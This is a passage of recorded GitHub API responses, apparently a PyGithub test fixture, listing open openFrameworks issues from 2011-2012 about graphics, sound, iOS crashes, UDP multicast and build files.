ofGetDataPathRoot","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-12T04:41:26Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":3189189,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:56:56Z","body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","comments":3,"milestone":null,"number":909,"html_url":"https://github.com/openframeworks/openFrameworks/issues/909","assignee":null,"title":"shapes with texCoords","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-10T01:42:42Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3166745,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T08:16:47Z","body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","comments":2,"milestone":null,"number":902,"html_url":"https://github.com/openframeworks/openFrameworks/issues/902","assignee":null,"title":"Xcode templates should be fixed or removed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-09T04:30:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3152323,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-08T21:50:23Z","body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","comments":0,"milestone":null,"number":901,"html_url":"https://github.com/openframeworks/openFrameworks/issues/901","assignee":null,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-08T21:50:23Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3148441,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T14:46:48Z","body":"Hi.\r\n\r\nI've been trying to load stream video ( mpeg2 .ts and hls .m3u8 ) using OF on MacOS 10.7.2.\r\n\r\nBoth cases causes error -2048 in the line below: ( l:89, ofQuickTimePlayer.cpp )\r\n\r\n```c++\r\nerr = NewMovieFromDataRef(&movie, newMovieAsyncOK,nil, urlDataRef, URLDataHandlerSubType);\r\n```\r\n\r\nLoading remote .mp4 works perect. Loading same streams in QuickTime player(v10.1) works without any troubles.\r\n\r\nSo, it seems the trouble happens just when no videofile size info returned from server.\r\n\r\nIs it a bug? Or I've missed smthng?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/897","comments":4,"milestone":null,"number":897,"html_url":"https://github.com/openframeworks/openFrameworks/issues/897","assignee":null,"title":"ofQuickTimePlayer.createMovieFromURL fails on streaming video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-06T11:42:08Z","state":"open","user":{"url":"https://api.github.com/users/4pcbr","avatar_url":"https://secure.gravatar.com/avatar/52e8e29748826594f27b5c6c20a353e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"52e8e29748826594f27b5c6c20a353e0","login":"4pcbr","id":247109},"id":3106705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-05T17:11:59Z","body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","comments":6,"milestone":null,"number":896,"html_url":"https://github.com/openframeworks/openFrameworks/issues/896","assignee":null,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-02-05T15:20:42Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3099567,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-10T02:47:13Z","body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","comments":1,"milestone":null,"number":880,"html_url":"https://github.com/openframeworks/openFrameworks/issues/880","assignee":null,"title":"test ofMesh::load/save rigorously","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-01-25T16:55:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2967700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","comments":0,"milestone":null,"number":878,"html_url":"https://github.com/openframeworks/openFrameworks/issues/878","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"add a switch to the iphone soundstream to support ambient","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-24T16:41:17Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":2952993,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:33:39Z","body":"change pan range to -1..1, right now is 0..1","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/875","comments":2,"milestone":null,"number":875,"html_url":"https://github.com/openframeworks/openFrameworks/issues/875","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"ofOpenALSoundPlayer pan -1..1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-21T00:01:45Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":2918619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '49322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"93bd237d518e2c23c29e5e7b340262a8"'), ('date', 'Tue, 29 May 2012 19:27:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T05:09:49Z","body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, bmp, fileName.c_str());","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","comments":1,"milestone":null,"number":872,"html_url":"https://github.com/openframeworks/openFrameworks/issues/872","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"saveImage crashes in iOS Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-01-17T21:51:17Z","state":"open","user":{"url":"https://api.github.com/users/khlrqa","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","login":"khlrqa","avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":53301},"id":2875276,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-07T15:38:14Z","body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","comments":0,"milestone":null,"number":866,"html_url":"https://github.com/openframeworks/openFrameworks/issues/866","assignee":null,"title":"Multicast & UDP: Local IP required when dealing with multiple network interfaces","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-01-07T15:38:14Z","state":"open","user":{"url":"https://api.github.com/users/urshofer","gravatar_id":"0424af1c917883090f0edddf55a8f21b","login":"urshofer","avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116976},"id":2756440,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"I've posted here\r\nhttp://forum.openframeworks.cc/index.php/topic,8467.new.html\r\n\r\nAt the moment when you do sample.unloadSound() on iOS the app crashes with\r\n\r\n[Switching to thread 13059]\r\n[Switching to thread 13059]\r\nProgram received signal: “EXC_BAD_ACCESS”.\r\nwarning: Unable to read symbols for /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)/Symbols/Developer/usr/lib/libXcodeDebuggerSupport.dylib (file not found).\r\n\r\n\r\nThis has been tested on the soundPlayerExample.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/863","comments":1,"milestone":null,"number":863,"html_url":"https://github.com/openframeworks/openFrameworks/issues/863","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"unloadSound on iOS crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-03T12:48:09Z","state":"open","user":{"url":"https://api.github.com/users/chrisoshea","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","login":"chrisoshea","avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":104786},"id":2710048,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:38:16Z","body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","comments":10,"milestone":null,"number":861,"html_url":"https://github.com/openframeworks/openFrameworks/issues/861","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth semantic issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-02T11:14:47Z","state":"open","user":{"url":"https://api.github.com/users/viniciolindo","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","login":"viniciolindo","avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1298679},"id":2700549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\r\n\r\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\r\n\r\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","comments":1,"milestone":null,"number":856,"html_url":"https://github.com/openframeworks/openFrameworks/issues/856","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"allow access to individual sound samples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-12-30T02:33:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2685556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-29T04:43:24Z","body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","comments":0,"milestone":null,"number":855,"html_url":"https://github.com/openframeworks/openFrameworks/issues/855","assignee":null,"title":"video Grabber crashes with Flip4Mac","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-29T04:43:24Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":2677212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-23T14:13:39Z","body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","comments":0,"milestone":null,"number":851,"html_url":"https://github.com/openframeworks/openFrameworks/issues/851","assignee":null,"title":"ofNode::resetTransform does not reset scale","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-23T14:13:39Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":2647508,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-22T14:31:37Z","body":"if I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","comments":0,"milestone":null,"number":849,"html_url":"https://github.com/openframeworks/openFrameworks/issues/849","assignee":null,"title":"skip files in an addon with Makefile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-22T14:31:37Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":2637694,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-19T22:35:27Z","body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","comments":10,"milestone":null,"number":846,"html_url":"https://github.com/openframeworks/openFrameworks/issues/846","assignee":null,"title":"ofCircle(float, float) should not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-12-14T00:42:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2546302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-10T21:25:49Z","body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","comments":0,"milestone":null,"number":843,"html_url":"https://github.com/openframeworks/openFrameworks/issues/843","assignee":null,"title":"Add return-type warning for XCode project files ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-10T21:25:49Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":2512838,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T19:36:40Z","body":"Playing a movie crashes on exit on linux. Fedora 16 32-bit, latest git.\r\n\r\noutput:\r\n./moviePlayerExample\r\ndeleting video player\r\nterminate called after throwing an instance of 'Poco::SystemException'\r\n what(): System exception\r\nAborted (core dumped)\r\n\r\nbacktrace:\r\n#0 0x00110416 in __kernel_vsyscall ()\r\n#1 0x4623998f in raise () from /lib/libc.so.6\r\n#2 0x4623b2d5 in abort () from /lib/libc.so.6\r\n#3 0x46a9b74d in __gnu_cxx::__verbose_terminate_handler() ()\r\n from /usr/lib/libstdc++.so.6\r\n#4 0x46a994c4 in ?? () from /usr/lib/libstdc++.so.6\r\n#5 0x46a99500 in std::terminate() () from /usr/lib/libstdc++.so.6\r\n#6 0x46a9964f in __cxa_throw () from /usr/lib/libstdc++.so.6\r\n#7 0x08098bef in Poco::MutexImpl::lockImpl (this=0x814eb48)\r\n at /usr/include/Poco/Mutex_POSIX.h:82\r\n#8 0x08098d07 in 